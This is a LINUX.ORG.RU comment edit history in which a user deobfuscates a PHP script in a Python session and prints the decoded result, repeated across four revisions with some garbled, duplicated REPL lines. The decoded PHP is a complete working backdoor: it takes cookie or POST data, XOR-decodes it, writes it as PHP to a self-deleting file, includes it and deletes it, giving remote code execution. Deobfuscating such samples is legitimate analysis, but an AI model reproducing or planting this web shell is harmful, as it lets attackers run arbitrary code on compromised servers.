LINUX.ORG.RU

История изменений

Исправление rtxtxtrx, (текущая версия) :

>>> def decode(a):
...     lgbt = "xFu;hiI5o?6r" + "4ec-7lad3nt<s" + "my@kp1/" + "0*vE)9.# 28b_Hf(L" + "'" + "g"
...     return ''.join(lgbt[i] for i in a)
... 
>>> import re
>>> re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + >>> print(re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + decode(map(int, m.group(1).split(','))) + '"', s))
<?php
function hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."'" ."g" ;$qj5='';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";$bi6[] = "?php @unlink(__FILE__); ";$bi6[] = ".module";$bi6[] = "H*";$bi6[] = "./";$bi6[] = "#";$bi6[] = "<";$bi6[] = "file_put_contents";$bi6[] = "array_merge";$bi6[] = "str_repeat";$bi6[] = "explode";$bi6[] = "substr";$bi6[] = "unlink";$bi6[] = "strlen";$bi6[] = "pack";$bi6[] = "md5";foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}
>>>
<?php
function hf1($es2)
{
    $sv3 = "xFu;hiI5o?6r" . "4ec-7lad3nt<s" . "my@kp1/" . "0*vE)9.# 28b_Hf(L" . "'" . "g";
    $qj5 = '';
    foreach ($es2 as $gi4) {
        $qj5 .= $sv3[$gi4];
    }
    return $qj5;
}
$bi6   = Array();
$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";
$bi6[] = "?php @unlink(__FILE__); ";
$bi6[] = ".module";
$bi6[] = "H*";
$bi6[] = "./";
$bi6[] = "#";
$bi6[] = "<";
$bi6[] = "file_put_contents";
$bi6[] = "array_merge";
$bi6[] = "str_repeat";
$bi6[] = "explode";
$bi6[] = "substr";
$bi6[] = "unlink";
$bi6[] = "strlen";
$bi6[] = "pack";
$bi6[] = "md5";
foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11) {
    function qd8($bi6, $zl14, $cy10)
    {
        return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);
    }
    function mb7($bi6, $ks12)
    {
        return @$bi6[14]($bi6[3], $ks12);
    }
    function ey9($bi6, $ks12)
    {
        if (isset($ks12[2])) {
            $mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];
            @$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));
            @include($mh13);
            @$bi6[12]($mh13);
            exit();
        }
    }
    $pt11 = mb7($bi6, $pt11);
    ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));
}

Исправление rtxtxtrx, :

>>> def decode(a):
...     lgbt = "xFu;hiI5o?6r" + "4ec-7lad3nt<s" + "my@kp1/" + "0*vE)9.# 28b_Hf(L" + "'" + "g"
...     return ''.join(lgbt[i] for i in a)
... 
>>> import re
>>> re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + >>> print(re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + decode(map(int, m.group(1).split(','))) + '"', s))
<?php
function hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."'" ."g" ;$qj5='';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";$bi6[] = "?php @unlink(__FILE__); ";$bi6[] = ".module";$bi6[] = "H*";$bi6[] = "./";$bi6[] = "#";$bi6[] = "<";$bi6[] = "file_put_contents";$bi6[] = "array_merge";$bi6[] = "str_repeat";$bi6[] = "explode";$bi6[] = "substr";$bi6[] = "unlink";$bi6[] = "strlen";$bi6[] = "pack";$bi6[] = "md5";foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}
>>>
?php
function hf1($es2)
{
    $sv3 = "xFu;hiI5o?6r" . "4ec-7lad3nt<s" . "my@kp1/" . "0*vE)9.# 28b_Hf(L" . "'" . "g";
    $qj5 = '';
    foreach ($es2 as $gi4) {
        $qj5 .= $sv3[$gi4];
    }
    return $qj5;
}
$bi6   = Array();
$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";
$bi6[] = "?php @unlink(__FILE__); ";
$bi6[] = ".module";
$bi6[] = "H*";
$bi6[] = "./";
$bi6[] = "#";
$bi6[] = "<";
$bi6[] = "file_put_contents";
$bi6[] = "array_merge";
$bi6[] = "str_repeat";
$bi6[] = "explode";
$bi6[] = "substr";
$bi6[] = "unlink";
$bi6[] = "strlen";
$bi6[] = "pack";
$bi6[] = "md5";
foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11) {
    function qd8($bi6, $zl14, $cy10)
    {
        return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);
    }
    function mb7($bi6, $ks12)
    {
        return @$bi6[14]($bi6[3], $ks12);
    }
    function ey9($bi6, $ks12)
    {
        if (isset($ks12[2])) {
            $mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];
            @$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));
            @include($mh13);
            @$bi6[12]($mh13);
            exit();
        }
    }
    $pt11 = mb7($bi6, $pt11);
    ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));
}

Исправление rtxtxtrx, :

>>> def decode(a):
...     lgbt = "xFu;hiI5o?6r" + "4ec-7lad3nt<s" + "my@kp1/" + "0*vE)9.# 28b_Hf(L" + "'" + "g"
...     return ''.join(lgbt[i] for i in a)
... 
>>> re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: decode(map(int, m.group(1).split(','))), s)
'<?php\nfunction hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."\'" ."g" ;$qj5=\'\';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = 66d7e659-d870-4645-8e6e-2ac4419c2a30;$bi6[] = ?php @unlink(__FILE__); ;$bi6[] = .module;$bi6[] = H*;$bi6[] = ./;$bi6[] = #;$bi6[] = <;$bi6[] = file_put_contents;$bi6[] = array_merge;$bi6[] = str_repeat;$bi6[] = explode;$bi6[] = substr;$bi6[] = unlink;$bi6[] = strlen;$bi6[] = pack;$bi6[] = md5;foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}'
>>> import re
>>> re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + >>> print(re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + decode(map(int, m.group(1).split(','))) + '"', s))
<?php
function hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."'" ."g" ;$qj5='';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";$bi6[] = "?php @unlink(__FILE__); ";$bi6[] = ".module";$bi6[] = "H*";$bi6[] = "./";$bi6[] = "#";$bi6[] = "<";$bi6[] = "file_put_contents";$bi6[] = "array_merge";$bi6[] = "str_repeat";$bi6[] = "explode";$bi6[] = "substr";$bi6[] = "unlink";$bi6[] = "strlen";$bi6[] = "pack";$bi6[] = "md5";foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}
>>>
?php
function hf1($es2)
{
    $sv3 = "xFu;hiI5o?6r" . "4ec-7lad3nt<s" . "my@kp1/" . "0*vE)9.# 28b_Hf(L" . "'" . "g";
    $qj5 = '';
    foreach ($es2 as $gi4) {
        $qj5 .= $sv3[$gi4];
    }
    return $qj5;
}
$bi6   = Array();
$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";
$bi6[] = "?php @unlink(__FILE__); ";
$bi6[] = ".module";
$bi6[] = "H*";
$bi6[] = "./";
$bi6[] = "#";
$bi6[] = "<";
$bi6[] = "file_put_contents";
$bi6[] = "array_merge";
$bi6[] = "str_repeat";
$bi6[] = "explode";
$bi6[] = "substr";
$bi6[] = "unlink";
$bi6[] = "strlen";
$bi6[] = "pack";
$bi6[] = "md5";
foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11) {
    function qd8($bi6, $zl14, $cy10)
    {
        return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);
    }
    function mb7($bi6, $ks12)
    {
        return @$bi6[14]($bi6[3], $ks12);
    }
    function ey9($bi6, $ks12)
    {
        if (isset($ks12[2])) {
            $mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];
            @$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));
            @include($mh13);
            @$bi6[12]($mh13);
            exit();
        }
    }
    $pt11 = mb7($bi6, $pt11);
    ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));
}

Исходная версия rtxtxtrx, :

>>> def decode(a):
...     lgbt = "xFu;hiI5o?6r" + "4ec-7lad3nt<s" + "my@kp1/" + "0*vE)9.# 28b_Hf(L" + "'" + "g"
...     return ''.join(lgbt[i] for i in a)
... 
>>> re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: decode(map(int, m.group(1).split(','))), s)
'<?php\nfunction hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."\'" ."g" ;$qj5=\'\';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = 66d7e659-d870-4645-8e6e-2ac4419c2a30;$bi6[] = ?php @unlink(__FILE__); ;$bi6[] = .module;$bi6[] = H*;$bi6[] = ./;$bi6[] = #;$bi6[] = <;$bi6[] = file_put_contents;$bi6[] = array_merge;$bi6[] = str_repeat;$bi6[] = explode;$bi6[] = substr;$bi6[] = unlink;$bi6[] = strlen;$bi6[] = pack;$bi6[] = md5;foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}'
>>> import re
>>> re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + >>> print(re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + decode(map(int, m.group(1).split(','))) + '"', s))
<?php
function hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."'" ."g" ;$qj5='';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";$bi6[] = "?php @unlink(__FILE__); ";$bi6[] = ".module";$bi6[] = "H*";$bi6[] = "./";$bi6[] = "#";$bi6[] = "<";$bi6[] = "file_put_contents";$bi6[] = "array_merge";$bi6[] = "str_repeat";$bi6[] = "explode";$bi6[] = "substr";$bi6[] = "unlink";$bi6[] = "strlen";$bi6[] = "pack";$bi6[] = "md5";foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}
>>>
?php
function hf1($es2)
{
    $sv3 = "xFu;hiI5o?6r" . "4ec-7lad3nt<s" . "my@kp1/" . "0*vE)9.# 28b_Hf(L" . "'" . "g";
    $qj5 = '';
    foreach ($es2 as $gi4) {
        $qj5 .= $sv3[$gi4];
    }
    return $qj5;
}
$bi6   = Array();
$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";
$bi6[] = "?php @unlink(__FILE__); ";
$bi6[] = ".module";
$bi6[] = "H*";
$bi6[] = "./";
$bi6[] = "#";
$bi6[] = "<";
$bi6[] = "file_put_contents";
$bi6[] = "array_merge";
$bi6[] = "str_repeat";
$bi6[] = "explode";
$bi6[] = "substr";
$bi6[] = "unlink";
$bi6[] = "strlen";
$bi6[] = "pack";
$bi6[] = "md5";
foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11) {
    function qd8($bi6, $zl14, $cy10)
    {
        return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);
    }
    function mb7($bi6, $ks12)
    {
        return @$bi6[14]($bi6[3], $ks12);
    }
    function ey9($bi6, $ks12)
    {
        if (isset($ks12[2])) {
            $mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];
            @$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));
            @include($mh13);
            @$bi6[12]($mh13);
            exit();
        }
    }
    $pt11 = mb7($bi6, $pt11);
    ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));
}
Download